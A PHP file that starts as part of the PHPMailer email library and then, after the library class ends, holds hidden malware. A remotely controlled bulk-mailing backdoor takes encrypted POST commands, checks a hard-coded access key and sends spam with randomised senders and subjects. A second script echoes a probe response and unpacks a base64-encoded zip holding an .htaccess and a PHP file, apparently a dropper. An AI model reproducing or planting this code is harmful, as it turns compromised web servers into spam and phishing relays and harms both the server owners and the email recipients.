$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
public function encodeString($str, $encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
// Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
break;
}
return $encoded;
}
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[\200-\377]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "\0..\37\177\\\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
case 'text':
default:
$matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
break;
}
if ($matchcount == 0) { // There are no chars that need encoding
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
$encoded = $this->base64EncodeWrapMB($str, "\n");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "\n"));
}
} else {
$encoding = 'Q';
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
$encoded = trim(str_replace("\n", $this->LE, $encoded));
return $encoded;
}
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
}
public function has8bitChars($text)
{
return (boolean)preg_match('/[\x80-\xFF]/', $text);
}
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($linebreak));
return $encoded;
}
public function encodeQP($string, $line_max = 76)
{
if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
return $this->fixEOL(quoted_printable_encode($string));
}
// Fall back to a pure PHP implementation
$string = str_replace(
array('%20', '%0D%0A.', '%0D%0A', '%'),
array(' ', "\r\n=2E", "\r\n", '='),
rawurlencode($string)
);
$string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
return $this->fixEOL($string);
}
public function encodeQPphp(
$string,
$line_max = 76,
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false
) {
return $this->encodeQP($string, $line_max);
}
public function encodeQ($str, $position = 'text')
{
// There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(array("\r", "\n"), '', $str);
switch (strtolower($position)) {
case 'phrase':
// RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
// RFC 2047 section 5.2
$pattern = '\(\)"';
case 'text':
default:
$pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
$eqkey = array_search('=', $matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
// Replace every spaces to _ (more readable than =20)
return str_replace(' ', '_', $encoded);
}
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($filename);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => 0
);
}
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
// If a MIME type is not specified, try to work it out from the name
if ($type == '') {
$type = self::filenameToType($name);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
public function alternativeExists()
{
return !empty($this->AltBody);
}
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
}
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
}
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
}
public function clearReplyTos()
{
$this->ReplyTo = array();
}
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
}
public function clearAttachments()
{
$this->attachment = array();
}
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
$msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
}
}
$this->ErrorInfo = $msg;
}
public static function rfcDate()
{
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage('en'); // set the default language
}
if (isset($this->language[$key])) {
return $this->language[$key];
} else {
return 'Language string failed to load: ' . $key;
}
}
public function isError()
{
return ($this->error_count > 0);
}
public function fixEOL($str)
{
// Normalise to \n
$nstr = str_replace(array("\r\n", "\r"), "\n", $str);
// Now convert LE as needed
if ($this->LE !== "\n") {
$nstr = str_replace("\n", $this->LE, $nstr);
}
return $nstr;
}
public function addCustomHeader($name, $value = null)
{
if ($value === null) {
// Value passed in as name:value
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (isset($images[2])) {
foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
$data = substr($url, strpos($url, ',')+1);
if ($match[2]) {
$data = b64d($data);
} else {
$data = rawurldecode($data);
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
} elseif (!preg_match('#^[A-z]+://#', $url)) {
// Do not change urls for absolute images (thanks to corvuscorax)
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
$basedir .= '/';
}
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
$basedir . $directory . $filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
if (empty($this->AltBody)) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
self::CRLF . self::CRLF;
}
return $this->Body;
}
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
public static function _mime_types($ext = '')
{
$mimes = array(
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
);
return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
}
public static function filenameToType($filename)
{
// In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
public static function mb_pathinfo($path, $options = null)
{
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$pathinfo = array();
if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
public function set($name, $value = '')
{
try {
if (isset($this->$name)) {
$this->$name = $value;
} else {
throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
}
} catch (Exception $exc) {
$this->setError($exc->getMessage());
if ($exc->getCode() == self::STOP_CRITICAL) {
return false;
}
}
return true;
}
public function secureHeader($str)
{
return trim(str_replace(array("\r", "\n"), '', $str));
}
public static function normalizeBreaks($text, $breaktype = "\r\n")
{
return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
}
public function sign($cert_filename, $key_filename, $key_pass)
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
}
return '';
}
$privKeyStr = file_get_contents($this->DKIM_private);
if ($this->DKIM_passphrase != '') {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = $privKeyStr;
}
if (openssl_sign($signHeader, $signature, $privKey)) {
return base64_encode($signature);
}
return '';
}
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
$lines = explode("\r\n", $signHeader);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(':', $line, 2);
$heading = strtolower($heading);
$value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
}
$signHeader = implode("\r\n", $lines);
return $signHeader;
}
public function DKIM_BodyC($body)
{
if ($body == '') {
return "\r\n";
}
// stabilize line endings
$body = str_replace("\r\n", "\n", $body);
$body = str_replace("\n", "\r\n", $body);
// END stabilize line endings
while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} else {
if ($current && strpos($header, ' =?') === 0) {
$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
); // Copied header fields (dkim-quoted-printable)
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body); // Length of body
$DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
$ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
$dkimhdrs = 'DKIM-Signature: v=1; a=' .
$DKIMsignatureType . '; q=' .
$DKIMquery . '; l=' .
$DKIMlen . '; s=' .
$this->DKIM_selector .
";\r\n" .
"\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
"\th=From:To:Subject;\r\n" .
"\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
"\tz=$from\r\n" .
"\t|$to\r\n" .
"\t|$subject;\r\n" .
"\tbh=" . $DKIMb64 . ";\r\n" .
"\tb=";
$toSign = $this->DKIM_HeaderC(
$from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs . $signed . "\r\n";
}
public function getToAddresses()
{
return $this->to;
}
public function getCcAddresses()
{
return $this->cc;
}
public function getBccAddresses()
{
return $this->bcc;
}
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
class phpmailerException extends Exception
{
public function errorMessage()
{
$errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
return $errorMsg;
}
}
/////////////////////////////////////////////////////////////////
function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
{
$mail = new PHPMailer();
$mail->isMail();
$mail->CharSet = 'utf-8';
$mail->SetFrom($from_email, $from_name);
$mail->AddAddress($to);
$mail->Subject = $subject;
if ($type == "1")
{
$mail->MsgHTML($body);
}
elseif ($type == "2")
{
$mail->isHTML(false);
$mail->Body = $body;
}
if (isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$mail->addAttachment($file['tmp_name'], $file['name']);
}
}
if (!$mail->send())
{
$to_domain = explode("@", $to);
$to_domain = $to_domain[1];
$mail->IsSMTP();
$mail->Host = mx_lookup($to_domain);
$mail->Port = 25;
$mail->SMTPAuth = false;
if (!$mail->send())
{
return Array(0, $mail->ErrorInfo);
}
else
{
return Array(2, 0);
}
}
else
{
return Array(1, 0);
}
}
function mx_lookup($hostname)
{
@getmxrr($hostname, $mxhosts, $precedence);
if(count($mxhosts) === 0) return '127.0.0.1';
$position = array_keys($precedence, min($precedence));
return $mxhosts[$position[0]];
}
function myhex2bin( $str ) {
$sbin = "";
$len = strlen( $str );
for ( $i = 0; $i < $len; $i += 2 ) {
$sbin .= pack( "H*", substr( $str, $i, 2 ) );
}
return $sbin;
}
function b64d($input) {
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int) $chr1);
if ($enc3 != 64) {
$output = $output . chr((int) $chr2);
}
if ($enc4 != 64) {
$output = $output . chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return $output;
}
function decode($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function type1_send($config)
{
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = b64d($config);
$data = decode($data, $key);
$data = @unserialize($data);
if (!$data || !isset($data['ak']))
{
return FALSE;
}
if ($data['ak'] != "9cd0eaea-d5a1-4da5-a1e1-0dd80af8b06e")
{
exit();
}
if (isset($data['c']))
{
$res["r"]["c"] = $data['c'];
return serialize($res);
}
$good = 0;
$bad = 0;
$last_error = Array(0, 0);
foreach ($data['e'] as $uid=>$email)
{
$theme = $data['s'][array_rand($data['s'])];
$theme = alter_macros($theme);
$theme = num_macros($theme);
$theme = xnum_macros($theme);
$message = $data['l'];
$message = alter_macros($message);
$message = num_macros($message);
$message = xnum_macros($message);
$message = fteil_macros($message, $uid);
$from = $data['f'][array_rand($data['f'])];
$from = alter_macros($from);
$from = num_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$from_email = explode("<", $from);
$from_email = explode(">", $from_email[1]);
$from_name = explode("\"", $from);
$last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);
if ($last_error[1] === 0)
{
$good++;
}
else
{
$bad++;
$good = count($data['e']) - $bad;
}
}
$res["r"]["t"] = $last_error[0];
$res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
$res["r"]["g"] = $good;
$res["r"]["b"] = $bad;
return serialize($res);
}
$config = array_values($_POST);
$res = type1_send($config[0]);
if ($res) {
echo $res;
}
exit();
<?php
if( isset($_REQUEST["test_url"]) ){
echo "file test okay";
}
$data = base64_decode("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